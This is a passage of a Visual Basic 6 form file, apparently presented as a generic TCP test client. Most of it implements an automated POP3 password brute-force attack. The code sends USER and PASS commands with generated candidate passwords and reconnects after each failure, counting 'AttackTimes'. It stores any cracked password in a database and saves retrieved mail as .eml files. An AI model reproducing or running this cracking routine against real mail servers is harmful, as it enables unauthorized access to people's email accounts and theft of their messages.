frmtcp_client.frm

监控类的开发

    cmdConnect.Enabled = False
  Else
    cmdConnect.Enabled = True
  End If
End Sub

Private Sub Form_Load()
  Dim strTmp As String
  On Error Resume Next
    
  bPlusCRLF = True
  App.Title = "General Client for TCP Server Test"
          
  strTmp = App.Path + "\TCP.mdb"
  If CheckFile(strTmp) Then strDataPath = strTmp
    
  If Trim(strDataPath) = "" Then
    bNoDatabase = True
    Exit Sub
  End If
    
  With AdodcEmail
    .ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + _
                      strDataPath + ";Persist Security Info=False"
    .CommandType = adCmdUnknown
    .RecordSource = "select * from Email order by ID"
    .Refresh
  End With
  
  LoadDataFromDisk
End Sub

Public Sub cmdSend_Click()
  Dim strTmp As String
  Dim strSendData As String
  Dim I As Integer
  On Error Resume Next
  
  strMail = ""
  If LCase(Mid(txtChars.Text, 1, 4)) = "retr" Then
    bGetMail = True
  Else
    bGetMail = False
  End If
  
  strTmp = GetTimeStamp(0)
  '***************************Char Mode**************************************
  If nDisplayMode = MODE_CHAR Then
    If Len(Trim(txtChars.Text)) < 1 Then
      MsgBox "There is no data!", vbExclamation + vbOKOnly
      Exit Sub
    End If
    
    'to get Http command
    If ChkHttp(txtChars.Text) Then
      txtChars.Text = GetHttpCommand(txtChars.Text)
    End If
    
    strSendData = txtChars.Text
    If bPlusCRLF = True Then strSendData = strSendData + vbCrLf
    tcpClient.SendData strSendData
    ResultString = ResultString + strTmp + ">" + strSendData
  
  Else
  '****************************Hex Mode*************************************
    If Len(Trim(txtChars.Text)) < 1 And Len(Trim(txtHex.Text)) < 1 Then
      MsgBox "There is no data!", vbExclamation + vbOKOnly
      Exit Sub
    End If
    
    If txtChars.Text <> "" And txtHex.Text = "" Then
      txtHex.Text = StringToHexChars(txtChars.Text)
    End If
    
    strSendData = txtHex.Text
    If bPlusCRLF = True Then strSendData = strSendData + "0D0A"
      
    txtChars.Text = HexCharsToString(txtHex.Text)
    tcpClient.SendData HexCharsToVariant(strSendData)
    ResultString = ResultString + strTmp + ">" + strSendData
  End If
    
  If txtResult(0).Visible = True Then
    I = 0
  Else
    I = 1
  End If
  Call DisplayString(txtResult(I), ResultString)
End Sub

Private Sub Form_Unload(Cancel As Integer)
  tcpClient.Close
  TimerServer.Enabled = False
  TimerBar.Enabled = False
End Sub

Private Sub mChar_Click()
    If txtHex.Text <> "" Then txtChars.Text = HexCharsToString(txtHex.Text)
End Sub

Private Sub mDecode_Click()
    If txtChars.Text = "" Then
        MsgBox "You must input some chars in the Char box!", vbExclamation + vbOKOnly
        Exit Sub
    End If
    
    txtHex.Text = Base64_Decode(txtChars.Text)
    txtChars.Text = ""
End Sub

Private Sub mEncode_Click()
    If txtHex.Text = "" Then
        MsgBox "You must input some chars in the Hex box!", vbExclamation + vbOKOnly
        Exit Sub
    End If
    
    txtChars.Text = Base64_Encode(txtHex.Text)
    txtHex.Text = ""
    txtChars.SetFocus
End Sub

Private Sub mHex_Click()
    If txtChars.Text <> "" Then txtHex.Text = StringToHexChars(txtChars.Text)
End Sub

Private Sub TimerBar_Timer()
  Dim strTmp As String   'Auto reset the system.
  
  Call setStatusBar
  strTmp = GetWinSockState(tcpClient)
  
  If strTmp = "Connected" Then
    cmdList.Enabled = True
    cmdRetr.Enabled = True
  Else
    cmdList.Enabled = False
    cmdRetr.Enabled = False
  End If
  
  If bAutoAttack = True Then
    If strTmp = "Error" Or strTmp = "Closed" Or strTmp = "Peer is closing the connection" Then
      TimerServer.Enabled = True
    Else
      TimerServer.Enabled = False
    End If
  End If
End Sub

Private Sub TimerServer_Timer()
  If nCurrentState = PASS_STATE Then
    'This password has leaked out, must process the password!
    strPass = GenPrePwd(strPass)
  End If
    
  Call cmdConnect_Click
End Sub

Private Sub txtChars_KeyDown(KeyCode As Integer, Shift As Integer)
  If KeyCode = 13 And cmdSend.Enabled = True Then
    If nDisplayMode = MODE_HEX Then txtHex.Text = ""
    Call cmdSend_Click
    bEnter = True
  End If
  
  If KeyCode = 65 And Shift = 2 Then
    txtChars.SelStart = 0
    txtChars.SelLength = Len(txtChars.Text)
  End If
End Sub

Private Sub txtHex_KeyDown(KeyCode As Integer, Shift As Integer)
  If KeyCode = 13 And cmdSend.Enabled = True Then Call cmdSend_Click

  If KeyCode = 65 And Shift = 2 Then
    txtHex.SelStart = 0
    txtHex.SelLength = Len(txtHex.Text)
  End If
End Sub

Private Sub txtResult_KeyDown(Index As Integer, KeyCode As Integer, Shift As Integer)
  Dim I As Integer
  If txtResult(0).Visible = True Then
    I = 0
  Else
    I = 1
  End If
  
  If KeyCode = 65 And Shift = 2 Then
    txtResult(I).SelStart = 0
    txtResult(I).SelLength = Len(txtResult(I).Text)
  End If
End Sub

Private Sub txtResult_MouseDown(Index As Integer, Button As Integer, Shift As Integer, x As Single, Y As Single)
  'Hex mode cannot solve the email problem.
  If nDisplayMode = MODE_HEX Or bNoDatabase = True Then Exit Sub
  
  If Shift = 7 And Button = 1 Then
    If Index = 0 Then
      txtResult(0).Visible = False
      cmdSend.Enabled = False
      cmdConnect.Visible = False
      cmdClose.Visible = False
      
      dtGrid.Visible = True
      txtResult(1).Visible = True
      cmdStart.Visible = True
      cmdStop.Visible = True
    Else
      txtResult(0).Visible = True
      cmdConnect.Visible = True
      
      If Len(strServer) > 5 And nPort > 1 Then
        cmdConnect.Enabled = True
      Else
        cmdConnect.Enabled = False
      End If
      
      If tcpClient.State = 7 Then
        cmdSend.Enabled = True
      Else
        cmdSend.Enabled = False
      End If
      
      cmdClose.Visible = True
      
      txtResult(1).Visible = False
      dtGrid.Visible = False
      cmdStart.Visible = False
      cmdStop.Visible = False
    End If
  End If
End Sub

Private Sub tcpClient_Close()
  Dim I As Integer
  Dim strTmp As String
  On Error Resume Next
  
  strTmp = GetTimeStamp(0)
  ResultString = ResultString + strTmp + ":Closed."
  If txtResult(0).Visible = True Then
    I = 0
  Else
    I = 1
  End If
  
  Call DisplayString(txtResult(I), ResultString)
  cmdSend.Enabled = False
End Sub

Private Sub tcpClient_Connect()
  Dim I As Integer
  Dim strTmp As String
  On Error Resume Next
  
  nCurrentState = CONNECT_STATE
  lAttackTimes = lAttackTimes + 1
  strTmp = GetTimeStamp(36)
  ResultString = ResultString + strTmp + ":Connected.  AttackTimes = " + Trim(Str(lAttackTimes))
  If txtResult(0).Visible = True Then
    I = 0
    cmdSend.Enabled = True
  Else
    I = 1
    cmdSend.Enabled = False
  End If
  
  Call DisplayString(txtResult(I), ResultString)
End Sub

Private Sub tcpClient_DataArrival(ByVal bytesTotal As Long)
    Dim strTmp As String
    Dim I As Integer
    Dim strInfo As String
    Dim strOldPass As String
    Dim vInfo As Variant
    On Error Resume Next
    
    strTmp = GetTimeStamp(0)
    If nDisplayMode = MODE_CHAR Then
        tcpClient.GetData strInfo
        txtChars.Text = strInfo
        If bGetMail = True Then strMail = strMail + strInfo
        ResultString = ResultString + strTmp + "<" + strInfo
    Else
        tcpClient.GetData vInfo
        txtHex.Text = VariantToHexChars(vInfo)
        txtChars.Text = HexCharsToString(txtHex.Text)
        ResultString = ResultString + strTmp + "<" + txtHex.Text
    End If
    
    If txtResult(0).Visible = True Then
        I = 0
    Else
        I = 1
    End If
    Call DisplayString(txtResult(I), ResultString)
    
    If bEnter = True Then
        txtChars.Text = ""
        txtChars.SetFocus
        bEnter = False
    End If
    
    If Right(strMail, 5) = GetMailEnd() Then
        If LCase(Mid(strMail, 1, 3)) = "+ok" Then strMail = NextString(strMail, vbCrLf)
        strTmp = ts(GetTickCount())
        WriteStringToTxt strMail, App.Path + "\" + strTmp + ".eml"
    End If
    
    If bAutoAttack = True Then
        strTmp = GetLeftString(UCase(strInfo), " ")
        If InStr(1, strTmp, "OK") = 0 Then 'Error, restart
            txtChars.Text = "QUIT"
            Call cmdSend_Click
            nCurrentState = UNCONNECT_STATE
            Exit Sub
        End If
        
        Select Case nCurrentState
            Case CONNECT_STATE
                txtChars.Text = "USER " + strUser
                Call cmdSend_Click
                nCurrentState = USER_STATE
                Exit Sub
            Case USER_STATE
                strOldPass = GetLastPwd
                
                '''''''''''''''''''''Password''''''''''''''''''''''''''''''''''
                Call NextPassword
                
                Do While nUserDefine > 0
                    Select Case nUserDefine
                        Case 1 'for strSubCharSet
                            If CheckLegalChars(strSubCharSet, strPass) Then Exit Do
                        Case 2 'for strSubFeature
                            If InStr(1, strPass, strSubFeature) <> 0 Then Exit Do
                        Case 3 'for both
                            If CheckLegalChars(strSubCharSet, strPass) And InStr(1, strPass, strSubFeature) <> 0 Then Exit Do
                    End Select
                    Call NextPassword
                      
                    If InStr(1, GetLastPwd, "*") Or strOldPass > GetLastPwd Then
                        Exit Do
                    End If
                      
                    DoEvents
                Loop
                
                '''''''''''''''''''''Password''''''''''''''''''''''''''''''''''
                If InStr(1, GetLastPwd, "*") Then
                    bAutoAttack = False
                    dtGrid.Enabled = True
                    Call cmdClose_Click
                    MsgBox "The password is not formated!", vbExclamation + vbOKOnly
                    Exit Sub
                End If
                
                txtChars.Text = "PASS " + GetLastPwd
                If Me.WindowState = vbMinimized Then
                    Me.Caption = GetLastPwd
                Else
                    Me.Caption = App.Title
                End If
                Call cmdSend_Click
                nCurrentState = PASS_STATE
                
                If strOldPass > GetLastPwd Then
                    bAutoAttack = False
                    dtGrid.Enabled = True
                    MsgBox "The password has been searched over!", vbInformation + vbOKOnly, strUser + " (from " + strStartTime + " to " + Format(Time, "H:MM:SS") + ")"
                End If
                Exit Sub
            Case PASS_STATE       'Success!!
                bAutoAttack = False
                dtGrid.Enabled = True
                cmdSend.Enabled = True
                strStopTime = Format(Time, "H:MM:SS")
                
                With AdodcEmail.Recordset
                    ![Password] = strPass
                    I = ![ID]
                    .Update
                    .Requery
                    .MoveFirst
                    Do While ![ID] < I
                        .MoveNext
                    Loop
                End With
                MsgBox "Password = " + GetLastPwd, vbInformation + vbOKOnly, "Success! " + "From " + strStartTime + " to " + strStopTime
        End Select
    End If
End Sub